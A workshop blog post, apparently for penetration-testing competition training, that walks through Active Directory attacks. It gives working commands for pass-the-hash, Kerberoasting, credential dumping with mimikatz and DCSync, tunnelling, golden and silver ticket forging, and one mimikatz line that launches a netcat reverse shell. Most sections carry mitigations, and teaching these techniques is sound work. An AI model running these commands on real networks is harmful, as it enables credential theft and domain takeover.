Also available here
Hi, welcome to the final workshop of the series, where we’ll introduce some common enumeration and exploitation techniques, as well as how to mitigate some attacks.
Let’s return to our hypothetical pentest. After gaining SYSTEM on a Windows machine, you find that the host has access to another internal network. An nmap scan on the subnet (e.g., sudo nmap -sn 10.0.1.0/24
) unfortunately only shows Windows Server host being reachable, but a nxc smb <ip>
revealed that it is actually part of an Active Directory domain (look for (domain:xxx)
in netexec output). This is not an uncommon scenario. Most of the time, domain controllers are not exposed directly to the internet and are usually behind VPNs, firewalls or DMZs (DeMilitarized Zone), so compromising an internal host like yours that has access to both subnets is necessary step towards owning the DC. Unfortunately, the computer you compromised just happens to not be domain-joined, so you have to begin an arduous journey to the domain controller…
Your initial goal would be to gain access to SYSTEM on that Windows Server (let’s say its hostname is ws01
and that you’ve added its IP address 10.0.10.3 to your /etc/hosts
), and eventually access to a domain user, which will help move laterally in the network (i.e., move to other Windows hosts and eventually to the hypothetical DC at 10.0.10.2 called dc01
).
Apart from enumerating regular services on the servers, AD environments have a few ubiquitous services such as SMB (for now, think of it as file shares on steroids) and LDAP (allows you to query or modify domain objects like users and computers; usually only served on domain controllers). Given that joining a Active Directory domain requires the SMB service, we must familiarize ourselves with SMB, as they will be present on every domain-joined machine (including Linux). Below we’ll discuss a few commands to enumerate SMB and LDAP. That said, enumerating SMB and LDAP alone probably won’t land us a shell unless we get lucky (e.g., plaintext password exposed in the open). You’ll most likely have to apply information you find here to other services on the server.
Nmap provides a host of SMB vulnerability checking scripts for us. Do note that most vulnerabilities here are quite old and won’t appear on modern systems.
1
2
sudo nmap -vvv -p139,445 --script=default,smb-os-discovery -sV ws01
sudo nmap -vvv -p139,445 --script=smb-vuln* ws01
1
2
3
4
5
6
7
8
9
10
11
12
13
# Check if null session is allowed
# You can also replace -u '' -p '' with creds or wordlists
nxc smb ws01 -u '' -p ''
# Enumerate shares
nxc smb ws01 -u '' -p '' --shares
# Get password policy
nxc smb ws01 -u '' -p '' --pass-pol
# Enumerate users / groups
nxc smb ws01 -u '' -p '' --users
nxc smb ws01 -u '' -p '' --groups
# Enumerate for common vulnerabilities
nxc smb dc01 -u '' -p '' -M zerologon -M petitpotam
nxc smb dc01 -u 'domain-user-needed' -p 'pass' -M nopac
If null sessions are allowed on the network, you can use NetExec to enumerate usernames, shares (if you’re lucky there might be an anonymous share), password policies, vulnerabilities etc.
-u username -p 'pa$$W0rd'
or -u ./username-wordlist.txt -p 'pa$$w0rd'
to spray passwords) to check if the user is valid & their permissions (e.g., if they have read/write access to the C$
share then they are an administrator on that machine, and if that machine turns out to be the domain controller, then they are).NetExec is a very capable AD tool that I cannot possibly cover the full depth here; you can check out netexec.wiki for more details. You may also want to read this cheatsheet which explains many tools and techniques for SMB enumeration (many of which we probably won’t need for CPTC, but it doesn’t hurt to know).
To disable null sessions:
Perhaps after some further enumeration, you gathered enough information to compromise the Windows Server host and gained access as a regular domain user (although sometimes you might have to get SYSTEM then dump some cached credentials/tickets to get domain user). This would be a prime time to run Bloodhound, which is a well-known Active Directory enumeration tool that allows you to identify AD misconfigurations and visualize potential attack paths. In order to use Bloodhound, you must run a collector like SharpHound.exe as a domain user (and yes, SYSTEM wouldn’t work). To collect domain information, simply run .\SharpHound.exe -c all
on the domain-joined machine and send the exported zip file back to your attack host.
[!tip] Note that the version of SharpHound must match that of Bloodhound on your attack machine, otherwise BloodHound will fail to import the zip.
To install BloodHound on Kali Linux, run sudo apt install bloodhound
. Since bloodhound is a graph-based tool (e.g., each object is a node), it uses neo4j to store the graph, so to start BloodHound you need to runneo4j console
and bloodhound
, then input the credentials you set for Neo4J into Bloodhound. For more details on setting up Bloodhound, see here.
Once BloodHound GUI is up, drag the zip file into the GUI to import the compressed JSONs within. If everything worked out, you should be able to see some nodes on the screen.
(Image Credit: SANS)
Bloodhound is admitted a complex tool (which I haven’t had the time to explore fully outside of a few boxes), but to get started you can right click compromised users and mark them as owned (either search for them on the top left or find them in the graph), then search for target users/groups you’re interested in (e.g., Domain Admins) and run the Shortest Path from Owned Principal query. If a valid path is found, Bloodhound will spit out a graph, with explanations or tutorials for each step/edge on the graph. Otherwise if the query returned no results, you might need to manually enumerate more or compromise more users. If you want to see it in action, search for some IppSec HTB walkthroughs here.
By this time you probably have network access to the domain controller. The domain controller exposes several services including LDAP running on port 389 (unencrypted LDAP) and 636 (LDAPS) if configured. LDAP allows us to query for domain information (e.g., what users are in the domain, what users are in a specific group, what computers are in the domain, etc). You can enumerate LDAP using nmap’s builtin scripts like so:
1
2
3
# Unset max objects limit to return all objects
# You might want to set one if the domain is very large
sudo nmap --script='ldap* and not brute' --script-args 'ldap.maxobjects=-1' -p389 <domain-controller-ip>
NetExec also has a LDAP module:
1
2
nxc ldap dc01.cowsay.local -u '' -p '' --active-users
# see https://www.netexec.wiki/ldap-protocol/ for more
This can sometimes spit out interesting properties on some objects; e.g., maybe a lazy sysadmin put default password as a user object property… who knows.
You can’t stop authenticated users from searching for directory information, but you can stop anonymous binds from occuring. Anonymous binds are disabled by default, but you can enable/disable by following MS Docs.
adPEAS, similar to linPEAS and winPEAS (though not by the same author), is an enumeration tool for Active Directory.
In fact, adPEAS is like a wrapper for different other cool projects like
- PowerView
- PoshADCS
- BloodHound Community Edition
- and some own written lines of code
Running it can be as simple as:
1
2
Import-Module .\adPEAS.ps1
Invoke-adPEAS
Oftentimes you might be able to dump all the NTLM hashes on a system (we’ll cover that in a bit), but fail to crack them with hashcat or john. These hashes are actually still useful, since for NTLM authentication over the network, knowing the hash is enough to perform challenge-response authentication (see NetNTLM). Note that NTLM authentication is a legacy authentication protocol that serves as a fallback for Kerberos.
Some tools like the ones below allow you the use the hash (or password if you have it) to various services (e.g., RDP, PowerShell remoting, or simply running a command remotely, etc). If you don’t have a LM hash, you can often just leave it empty (depending on the tool), or use the blank LM hash (aad3b435b51404eeaad3b435b51404ee — hash for an empty string/padding only).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# PsExec: Run powershell commands remotely
# (psexec.py from Impacket)
# Note that NTLM hash is a misnomer for NT hash
psexec.py -hashes $LM_HASH:NT_HASH DOMAIN/MyUser@VICTIM_IP
# PowerShell remoting via evil-winrm
evil-winrm -i VICTIM_IP -u MyUser -H NT_HASH
# Run command remotely, no output, Linux only
# You can use it to launch a reverse shell
pth-winexe -U $USER%$LM_HASH:$NT_HASH //$HOST $CMD
# Remote Desktop Protocol (RDP)
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:$NT_HASH
# Mimikatz; opens a new terminal window as user
# Note that this requires debug privileges
# (and a graphical session)
mimikatz "sekurlsa::pth /user:jsmith /domain:example.com /ntlm:aabbccddeeff..." "exit"
You can’t fully disabled NTLM authentication, but you can at least enforce NetNTLMv2 by following this post.
As you may have read in the last workshop, Kerberos is a fairly complex protocol used for network authentication in Active Directory, and with complexity comes opportunities for exploitation. Let’s take a look at how abusing Kerberos can take us to other users and hosts.
One of the most well-known attacks on Kerberos is called Kerberoasting (a.k.a. TGS-REP roasting), which involves dumping TGS-REP, extracting the service ticket, and using it to crack for the service account’s plaintext password, which allows us to either forge tickets for this particular service (see silver ticket) or logging in as the service account onto other hosts. You can look for Kerberoastable service accounts using Rubeus.exe kerberoast /stats
(available here), or just look for service principal names (SPNs represent services that are registered with Kerberos) using setspn -Q */*
on Windows.
To begin, we need to access to a domain user and acquire a service ticket for the target service. You can use klist
or Rubeus.exe triage
on Windows to check if you already have a ticket you want, or you can request one with:
1
2
3
4
# On ws01
$spn = 'HTTP/web.cowsay.local'
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
Once you know the service ticket has been acquired and cached in memory, we can use mimikatz.exe "kerberos::list /export" exit
(available here) to dump all tickets as .kirbi
files. No elevated privileges is required to dump your own tickets, but if you want to dump other users’ tickets, you can try sekurlsa::tickets /export
.
Finally, to crack the hash, download the kirbi file to your attack host and crack using tgsrepcrack.py (from here):
1
/usr/share/kerberoast/tgsrepcrack.py /usr/share/wordlists/rockyou.txt /path/to/service/ticket.kirbi
You may need to install the pycryptodome
package and replace the ntlmhash()
function in kerberos.py
with the following (MD4 has been deprecated):
1
2
3
4
5
def ntlmhash(s):
from Crypto.Hash import MD4
hash = MD4.new()
hash.update(s.encode('utf-16le'))
return hash.digest()
You can also use kirbi2john.py ticket.kirbi
to convert the kirbi file into something you can crack with john.
This whole process can be a bit convoluted, so now that you understand how the attack works in steps, you can use Rubeus.exe kerberoast /outfile:hashes.txt
to automate the kerberoasting process. Finally, after cracking the service account’s password, you can craft silver tickets or move laterally to other machines as a service account (…which could have the SeImpersonatePrivilege you could abuse with the family of potato exploits we discussed two workshops ago).
You can effectively prevent TGS-REP roasting by enforcing strong password policies for service users. You may also want to consider associating the SPN with machine accounts, which have stronger and randomly generated passwords that are not susceptible to roasting.
The other type of roasting, AS-REP roasting, functions in a similar way in that it allows you to crack a regular user’s password—as long as Kerberos pre-authentication is disabled for the user, which means that any user can grab a AS-REP without having to send an encrypted timestamp for AS-REQ. You can lookup users that do not require pre-authentication using:
1
ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
Then, similar to TGS-REP roasting, you can use Rubeus to automate the roasting process for you:
1
Rubeus.exe asreproast /user:<roastable-user> /nowrap
Needless to say, with a domain user’s password you can potentially move laterally to other hosts or access services you may not previously have had access to.
To mitigate this, simply enable pre-authentication on the user, or if that’s not possible, enforce stronger password policies and reset roastable users’ passwords. In addition to offensive tools like ADSearch, you can also find users with pre-authentication disabled via RSAT (admin required to install):
1
2
3
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
Import-Module activedirectory
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
If you read about the Kerberos authentication protocol, you’ll notice that a password-derived key is used to encrypt a timestamp, yada yada yada (AS-REQ). This key is cached and can be dumped via .\mimikatz.exe sekurlsa::ekeys exit
.
Once you have the key, you can acquire a TGT using Mimikatz which allows you to authenticate against other services in the domain, and optionally run a command (cmd.exe by default). Since different encryption algorithms require different key sizes, the exact command used to request a TGT will slightly differ:
1
sekurlsa::pth /user:Administrator /domain:cowsay.local /<rc4|aes128|aes256>:<hash> /run:"c:\windows\temp\nc.exe -e cmd.exe <attack-host-ip> 8888"
Note that the key is actually the user’s NTLM hash if the encryption type is RC4, and this type of PtK attack is also called overpass-the-hash. You can also use the key for pass-the-hash when NTLM authentication is available. While attacks like pass-the-hash and pass-the-key, you can at least disable weak encryption types such as RC4 by consulting documentation here and here.
When you gained administrator access on a server (or better yet, a DC), you can use dump hashes of domain or local users. On a Windows machine, the Local Security Authority (LSA), responsible for managing authentication-related tasks, runs as the Local Security Authority Subsystem Service (LSASS). When a local user login, LSASS looks at the Security Account Manager (SAM) database on disk to verify the local user’ password hash. Therefore, if we get SYSTEM or administrator-level access, we can dump all local user hashes via Mimikatz (which patches and queries LSASS for us):
1
2
3
4
# Optionally do it offline using extracted hives from:
# reg save HKLM\SYSTEM system.hive
# reg save HKLM\SAM sam.hive
lsadump::sam [ /sam:sam.hive /system:system.hive ]
Where hashes are stored is slightly different for domain users. Domain-joined machines rely on the domain controllers for storing the password hashes (i.e., in AD DS), so you usually won’t find all domain user hashes on a single domain-joined machine, but since LSASS caches domain user hashes when they log into this machine via Kerberos, gaining SYSTEM privileges allow you to dump these cached hashes:
1
2
# Use /patch for workstation and /inject for DC
lsadump::lsa [ /patch | /inject ]
Note that the above commands require SYSTEM access or Administrator access (needs privilege::debug
). See also Mimikatz for more commands to try.
Tools like NetExec also allow you to dump credentials remotely over SMB:
1
netexec smb dc01.cowsay.local -d cowsay.local -u <user> -p <password> [ --sam | --lsa ]
Compromising the domain controller gives you opportunity to dump more hashes than regular users. Domain controller stores credential materials of special accounts such as krbtgt which can be used to forge tickets (which we’ll cover in a bit). One way to extract this information is through DCSync, which is an attack technique that mimics the way domain controllers synchronize information between each other. Although the end results may be the same as dumping the data store (NTDS.dit), this uses real API calls which may be noticed by some EDR software.
You can either use secretsdump
or mimikatz
to achieve this:
1
2
3
4
5
# Linux-only
secretsdump -outputfile 'something' COWSAY/<user>:<password>@dc01.cowsay.local
# Windows-only, in-elevated context
lsadump::dcsync /dc:dc01.cowsay.local /domain:cowsay.local
Active Directory comes without some pretty wacky features that, if not secured properly, can bite you in the arse. If you can trick some service to make a request to you (e.g., make IIS send a GET request to you, LLMNR poisoning, PetitPotam, etc; also see SharpSystemTriggers), you can use Responder to capture and trick the service account/machine into sending its hash to you. You simply need to start responder (e.g., responder -I eth0
) and carry out the attack against the vulnerable service (or wait for certain queries to trickle in), and responder will try to respond to as many types of messages as it can across many ports.
If you get lucky, you might get some NetNTLM hashes in the output, which you can crack using either john
or hashcat
(see link). As we’ve mentioned before for pass-the-hash, NetNTLM (v1, v2) is a legacy network authentication method for Windows systems. It might not be as secure as Kerberos (not that Kerberos is super secure by default), but it’s at least not sending NTLM hashes over the network directly, so unfortunately you can’t use NetNTLM hashes for pass-the-hash, though you can look into NTLM relay.
OK, perhaps now you found another host, ws02
, on the network worthy of interest, but you’re quickly stumped by the fact that you don’t have a way to enumerate it from your attack host—the other domain-joined machines are on a different subnet that you don’t have direct access to. What do we do? Should we begin looking for offensive tools that work on Windows? Fret not, we can use tunneling tools to use the domain-joined host we compromised, ws01
, as a jumping pad to reach the internal network. There are many other options (e.g., chisel), but I recommend ligolo-ng, which works without any SOCKS/proxychains
usage and is much faster & easier to set up.
Instead of using SOCKS proxies, ligolo-ng makes use of tun interfaces (the same ones used for VPNs). Add an interface for ligolo-ng before running it:
1
2
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
Ligolo-ng comes with two executables: the proxy and the agent. In order to reach ws02
, we must install the proxy on the attack host and the agent on ws01
. You can find precompiled executables on GitHub (be sure to download the right OS/architecture for each host).
1
2
3
4
5
# On the attack host
./proxy -selfcert
# On ws01/compromised machine
.\agent.exe -connect <attack-host-ip>:11601 -ignore-cert
Once the agent is connected, you should be able to see a log printed on the proxy process. At which point you can choose the session corresponding to the host with session
, then run start
to start the tunnel. At this point we need to notify the system that we can reach a new subnet through the ligolo interface by adding a route:
1
2
sudo ip route add <subnet-cidr> ligolo
# e.g., sudo ip route add 192.168.123.0/24 dev ligolo
Now you’ll be able to nmap ws02 like normal (just make sure to use TCP scans via -sT
, because sending raw SYN packets results in a full TCP connect()
over a tunnel anyways). If you want to catch reverse shells from ws02, you can also catch it using the agent on ws01 and forward it to your netcat listener on attack host by using listener_add --addr 0.0.0.0:<ws01-port> --to 127.0.0.1:<attack-host-port>
.
For more details, see Ligolo-ng: Tunneling like a VPN and Network Pivoting with Ligolo-NG.
Apart from host persistence techniques we discussed in the Windows workshop, we can Kerberos to give us prolonged access to services and domain admin privileges.
Once you get a hold of the service account password (or machine account, depending on the service you’re trying to persist access to), you can forge service tickets to your fancy, e.g., create a SMB service ticket with admin privileges then psexec into the host, or create a LDAP service ticket for persistence on the DC, etc. See silver ticket for more details on what SPN to use/what service to compromise for privileged persistence.
We can use mimikatz to forge a silver ticket (and yes, we use kerberos::golden
to create a silver ticket…). You can get the domain SID by running whoami /user
, grabbing the user’s SID, and removing the RID (last 4 digits and the dash).
1
.\mimikatz.exe "kerberos::golden /user:<domain-user> /domain:<domain> /sid:<domain-sid> /target:<spn-domain> /service:<spn-protocol> /rc4:<service-nt-hash> /ptt" exit
Note that this only lasts til the next password change of the service/machine account.
When you obtain domain admin privileges, you also have the option to create golden tickets to impersonate any domain admin users or service. You need to dump krbtgt’s password hash for this since TGTs are encrypted with its hash. For a more stealthy option (modifying existing TGTs), you can also check out diamond ticket.
To create a golden ticket using Rubeus:
1
.\Rubeus.exe golden /aes256:<krbtgt-hash-base64> /user:<target-user> /domain:<domain-fqdn> /sid:<domain-sid> /nowrap
To use this ticket:
1
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<domain-fqdn> /username:<target-user> /password:anything-goes-here /ticket:<golden-ticket-base64>
As for mitigation, it’s not really the ticket itself that’s the problem—it’s how the attackers got here. You need to at least rotate krbtgt’s account hash to invalidate these tickets.
This concludes a rudimentary introduction to AD exploitation as well as the series. I hope this wasn’t too much to take in (though it probably is if you’re new to this). Active Directory is so damn complicated that there’s a ton I haven’t covered or straight up don’t know about yet. If you’re interested in more techniques, check out the links below or browse the #ttp tag… or just take some time to let the workshop post sink in and practice everything I mentioned in a home lab.